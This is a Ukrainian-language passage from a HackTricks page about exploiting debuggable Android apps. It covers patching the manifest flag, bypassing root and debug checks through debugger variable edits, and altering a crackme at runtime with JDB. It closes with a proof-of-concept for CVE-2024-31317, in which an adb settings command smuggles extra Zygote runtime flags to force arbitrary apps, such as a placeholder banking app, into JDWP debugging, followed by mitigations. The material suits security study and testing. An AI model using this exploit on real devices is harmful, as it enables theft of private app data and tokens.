Використання додатку з можливістю налагодження

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Обхід перевірок root та налагодження

Цей розділ посту є підсумком з посту https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

Кроки для перетворення Android-додатку на налагоджуваний та обходу перевірок

Перетворення додатку на налагоджуваний

Контент на основі https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0

  1. Декомпілювати APK:
  • Використовуйте інструмент APK-GUI для декомпіляції APK.
  • У файлі android-manifest вставте android:debuggable="true" для активації режиму налагодження.
  • Знову скомпілюйте, підпишіть та zipalign модифікований додаток.
  1. Встановіть модифікований додаток:
  • Використовуйте команду: adb install <application_name>.
  1. Отримайте назву пакету:
  • Виконайте adb shell pm list packages –3, щоб перерахувати сторонні додатки та знайти назву пакету.
  1. Налаштуйте додаток на очікування підключення налагоджувача:
  • Команда: adb shell am setup-debug-app –w <package_name>.
  • Примітка: Цю команду потрібно виконувати щоразу перед запуском додатку, щоб він чекав на налагоджувач.
  • Для збереження використовуйте adb shell am setup-debug-app –w ––persistent <package_name>.
  • Щоб видалити всі прапорці, використовуйте adb shell am clear-debug-app <package_name>.
  1. Підготуйтеся до налагодження в Android Studio:
  • Перейдіть в Android Studio до File -> Open Profile or APK.
  • Відкрийте скомпільований APK.
  1. Встановіть точки зупинки в ключових Java-файлах:
  • Розмістіть точки зупинки в MainActivity.java (зокрема в методі onCreate), b.java та ContextWrapper.java.

Обхід перевірок

Додаток у певні моменти перевіряє, чи є він налагоджуваним, а також перевіряє наявність бінарних файлів, що вказують на рутований пристрій. Налагоджувач може бути використаний для зміни інформації про додаток, скидання біта налагодження та зміни назв шуканих бінарних файлів для обходу цих перевірок.

Для перевірки налагодження:

  1. Змінити налаштування прапорців:
  • У секції змінних консолі налагоджувача перейдіть до: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • Примітка: Бінарне представлення flags = 814267974 є 11000011100111011110, що вказує на те, що "Flag_debuggable" активний.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

Ці кроки в сукупності забезпечують можливість налагодження додатку та обходу певних перевірок безпеки за допомогою налагоджувача, що полегшує більш детальний аналіз або модифікацію поведінки додатку.

Крок 2 передбачає зміну значення прапорця на 814267972, яке в бінарному вигляді представлено як 110000101101000000100010100.

Використання вразливості

Демонстрація була надана за допомогою вразливого додатку, що містить кнопку та текстове поле. Спочатку додаток відображає "Crack Me". Мета полягає в тому, щоб змінити повідомлення з "Try Again" на "Hacked" під час виконання, не змінюючи вихідний код.

Перевірка на вразливість

  • Додаток був декомпільований за допомогою apktool для доступу до файлу AndroidManifest.xml.
  • Наявність android_debuggable="true" у AndroidManifest.xml вказує на те, що додаток є налагоджуваним і підлягає експлуатації.
  • Варто зазначити, що apktool використовується лише для перевірки статусу налагодження без зміни будь-якого коду.

Підготовка налаштування

  • Процес передбачав ініціювання емулятора, встановлення вразливого додатку та використання adb jdwp для ідентифікації портів Dalvik VM, які слухають.
  • JDWP (Java Debug Wire Protocol) дозволяє налагоджувати додаток, що працює в VM, відкриваючи унікальний порт.
  • Портове перенаправлення було необхідним для віддаленого налагодження, після чого JDB було прикріплено до цільового додатку.

Впровадження коду під час виконання

  • Експлуатація була здійснена шляхом встановлення точок зупинки та контролю потоку виконання додатку.
  • Команди, такі як classes та methods <class_name>, використовувалися для виявлення структури додатку.
  • Точка зупинки була встановлена в методі onClick, і її виконання контролювалося.
  • Команди locals, next та set використовувалися для перевірки та зміни локальних змінних, зокрема зміни повідомлення "Try Again" на "Hacked".
  • Модифікований код був виконаний за допомогою команди run, успішно змінюючи вихід додатку в реальному часі.

Цей приклад продемонстрував, як можна маніпулювати поведінкою налагоджуваного додатку, підкреслюючи потенціал для більш складних експлуатацій, таких як отримання доступу до оболонки на пристрої в контексті додатку.


2024 – Перетворення будь-якого додатку на процес налагодження (CVE-2024-31317)

Навіть якщо цільовий APK не постачається з прапорцем android:debuggable, нещодавні дослідження показали, що можливо примусити произвольні додатки запускатися з прапорцем DEBUG_ENABLE_JDWP під час виконання, зловживаючи способом, яким Zygote аналізує аргументи командного рядка.

  • Вразливість: Неправильна валідація --runtime-flags, наданих через командний сокет Zygote, дозволяє зловмиснику, який може досягти system_server (наприклад, через привілейовану оболонку adb, яка має дозвіл WRITE_SECURE_SETTINGS), впроваджувати додаткові параметри. Коли підроблена команда повторно відтворюється system_server, жертва додаток створюється як налагоджуваний і з потоком JDWP, що слухає. Проблема відстежується як CVE-2024-31317 і була виправлена в червневому бюлетені безпеки Android 2024 року.
  • Вплив: Повний доступ на читання/запис до приватного каталогу даних будь-якого додатку (включаючи привілейовані, такі як com.android.settings), крадіжка токенів, обхід MDM, і в багатьох випадках прямий шлях до ескалації привілеїв шляхом зловживання експортованими IPC-точками тепер налагоджуваного процесу.
  • Постраждалі версії: Android 9 до 14 до червневого рівня патчів 2024 року.

Швидкий PoC

bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

Сформоване значення на кроці 1 виводить парсер з "швидкого шляху" і додає другу синтетичну команду, де --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE) приймається так, ніби вона була надана фреймворком. Як тільки додаток запущено, відкривається сокет JDWP, і звичайні трюки динамічного налагодження (заміна методів, патчинг змінних, живе впровадження Frida тощо) можливі без модифікації APK або образу завантаження пристрою.

Виявлення та пом'якшення

  • Патч до 2024-06-01 (або пізніше) рівня безпеки – Google посилив ZygoteCommandBuffer, щоб наступні команди не могли бути контрабандно введені таким чином.
  • Обмежити доступ WRITE_SECURE_SETTINGS / shell на виробничих пристроях. Для експлуатації потрібен цей дозвіл, який зазвичай має лише ADB або програми з привілеями OEM.
  • У флотах, керованих EMM/MDM, примусово встановити ro.debuggable=0 і заборонити shell через adb disable-verifier.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks